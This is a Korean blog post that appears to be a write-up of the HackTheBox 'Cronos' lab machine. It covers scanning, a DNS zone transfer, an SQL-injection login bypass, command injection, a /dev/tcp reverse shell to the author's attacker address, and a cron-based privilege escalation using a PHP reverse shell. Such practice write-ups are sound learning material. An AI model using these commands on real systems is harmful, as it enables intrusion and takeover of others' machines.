nmap
22번 OpenSSH 7.2p2 ☞ 특별한 취약점을 발견하지 못했다.
53번 ISC BIND 9.10.3-P4 ☞ 10.10.10.13:58은 dns서버이다. 구글링으로 특별한 취약점 발견 못함
80번 Apache httpd 2.4.18 ☞ 10.10.10.13:80은 웹사이트이다. 구글링해보면 취약점 꽤 많다.
[**] nmap -sC 옵션
"-sC" == "--script default"
nmap --script vuln 10.10.10.13
의미있는 결과 없음
gobuster
엄청 오래 걸린다.... 대체 언제까지 기다려보고 "의미있는 결과가 안나오겠다"는 것을 알 수 있는 걸까?
일단 /server-status에 접근이 안된다.
또한, 10.10.10.30으로 접근하면 apache default page가 뜨는 것을 볼 수 있다.
이 이유는 아마도 apache에서 ip와 domain을 매핑하는데서 문제가 발생했기 때문인 것 같다.
때문에 도메인네임으로 웹 사이트에 접속할 수 있도록 찾아봐야 한다.
nslookup
server 10.10.10.13 ☞ 네임서버를 10.10.10.13으로 설정한다.
ns1.cronos.htb를 보고 기본 도메인 네임이 cronos.htb임을 알 수 있다.
/etc/hosts
다음과 같이 추가한다.
* 이때 sudo로 열어야한다.
다음과 같이 접속한 것을 볼 수 있다.
zone transfer
이제 도메인 네임을 알았으니, 이 도메인의 모든 host 리스트를 얻기 위해서는 zone transfer을 시도해야 한다.
[**] zone transfer이란?
여러 DNS 서버간 DNS 데이터베이스를 복사하는 것
usage : host -l <domain name> <dns server address>
host -l cronos.htb 10.10.10.13
/etc/hosts에 admin.cronos.htb와 www.cronos.htb도 함께 추가한다.
admin.cronos.htb 접속
이렇게 로그인 창이 뜨면 먼저 admin/admin이나 admin/cronos같은 것을 시도해본다.
여기선 먹히지 않는다. credential을 찾아야 한다.
hydra
id pw를 뚫기 위해선 burpsuite로 값이 어떻게 전송되는지를 파악해야 한다.
hydra -l 'admin' -P /usr/share/john/password.lst admin.cronos.htb http-post-form "/:username=^USER^&password=^PASS^&Login=Login:Your Login Name or Password is invalid"
안타깝게도 결과가 안나온다...
SQL injection 시도
username에 admin'#/ password에 아무값이나 넣고 submit하면 성공
여기 또한 sql injection에 취약한지 알아본다.
8.8.8.8 & whoami를 함께 입력하면 www-data가 나오는 것으로 보아, 취약하다.
그럼 여기에 리버스 쉘을 입력해 쉘을 따면 되지 않을까??
reverse shell 따기 '시도'
(내 kali) nc -nlvp 1234
(admin.cronos.htb/welcome.php) 8.8.8.8 | sh -i >& /dev/tcp/10.10.14.30/1234 0>&1
but... not working...
burpsuite를 보니까 다음과 같이 보내진 것을 볼 수 있다.
[**] 여기서 먼저 repeater로 보내고, 8.8.8.8+ 이후부터의 string을 드래그해서 ctrl+U하면 url encode가 된다.
이를 send해보면 결과값을 볼 수 있다.
reverse shell 따기(python)
python으로 작성한 리버스 쉘 따는 명령어를 url encode해서 send한다.
그럼 내 kali에서 www-data 권한으로 쉘이 따진 것을 확인할 수 있다.
user.txt 확인 가능
권한 상승(crontab)
또.. LinEnum.sh
결과 중 주목해야할 부분
crontab에 대한 설명은 바로 밑에 있다.
* * * * * root로 나온 부분은 매 분마다 root권한으로 해당 command를 실행한다는 의미이다.
/var/www/laravel/atrisan 파일의 권한을 보면 www-data(지금 사용자)가 소유한 것을 볼 수 있다. 이 파일이 매분 root권한으로 실행되는 것이다.
때문에, 이 파일의 내용을 적당히 수정해 내 kali로 shell을 보내도록 하면 된다. 그럼 root권한 쉘을 딸 수 있다.
지금 php ~~/artisan으로 실행하고 있으므로, artisan은 php로 작성된 reverse shellcode여야 한다.
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
GitHub - pentestmonkey/php-reverse-shell
Contribute to pentestmonkey/php-reverse-shell development by creating an account on GitHub.
github.com
로컬(내 kali)에 phpss.php를 작성하고(ip, port 바꾸기) 해당 파일을 SimpleHTTPServer로 www-data 쉘에서 다운받을 수 있게 한다.
그리고 포트열고 기다리기...
www-data권한의 쉘에서 phpss.php를 받아서 cp phpss.php artisan 실행
그리고 포트 연 곳에서 기다린다. 그럼 root 쉘이 따지는 것을 볼 수 있다.
[***] linux crontab
- 출처 : https://jdm.kr/blog/2
리눅스 크론탭(Linux Crontab) 사용법 :: JDM's Blog
* 이 포스팅은 네이버 블로그에서 작성(2013.04.01)한 내용을 옮겨온 것입니다. 오늘은 리눅스 크론탭에 대해 알아볼까 합니다. 음, 윈도우에서는 스케줄러와 비슷하다고 보면 되겠네요. "특정 시간
jdm.kr
윈도우의 스케줄러와 비슷하다.
"특정 시간에 특정 작업을 해야한다"
crontab -e : 크론탭을 설정할 수 있는 곳. 크론탭 명령어를 입력 후 :wq로 저장하면 된다.
crontab -l : cat 명령어로 파일을 읽어들인 것처럼 표준 출력으로 크론탭 내용이 나오게 된다.
crontab -r : 크론탭 지우기
[**] 크론탭 명령어
* * * * * ls -al : 별이 다섯개 있으면 "매분마다 실행"하는 것이다.
'워게임 > hackthebox' 카테고리의 다른 글
solidstate 롸업 정리 (0) | 2021.09.20 |
---|---|
nineveh 롸업 정리 (0) | 2021.09.15 |
friendzone 롸업 정리 (0) | 2021.09.11 |
bashed 롸업 정리 (0) | 2021.09.10 |
nibbles 롸업 정리 (0) | 2021.09.09 |
댓글